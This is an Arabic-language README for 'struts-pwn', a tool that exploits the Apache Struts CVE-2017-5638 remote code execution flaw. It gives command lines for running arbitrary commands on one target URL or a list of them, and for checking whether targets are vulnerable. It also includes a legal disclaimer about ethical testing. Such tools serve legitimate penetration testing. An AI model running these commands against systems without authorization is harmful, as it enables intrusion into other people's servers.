struts-pwn

أداة استغلال لـ Apache Struts CVE-2017-5638

الاستخدام

اختبار عنوان URL واحد.

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

اختبار قائمة عناوين URL.

python struts-pwn.py --list 'urls.txt' -c 'id'

التحقق من وجود الثغرة على عنوان URL واحد.

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

التحقق من وجود الثغرة على قائمة عناوين URL.

python struts-pwn.py --check --list 'urls.txt'

المتطلبات

• Python2 أو Python3
• requests

إخلاء مسؤولية قانوني

تم إنشاء هذا المشروع لأغراض تعليمية واختبار أخلاقي فقط. استخدام struts-pwn لمهاجمة أهداف دون موافقة متبادلة مسبقة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي سوء استخدام أو ضرر ناتج عن هذا البرنامج.

الترخيص

المشروع مرخص بموجب رخصة MIT.

المؤلف

Mazin Ahmed

• الموقع الإلكتروني: https://mazinahmed.net
• البريد الإلكتروني: mazin AT mazinahmed DOT net
• تويتر: https://twitter.com/mazen160
• لينكد إن: http://linkedin.com/in/infosecmazinahmed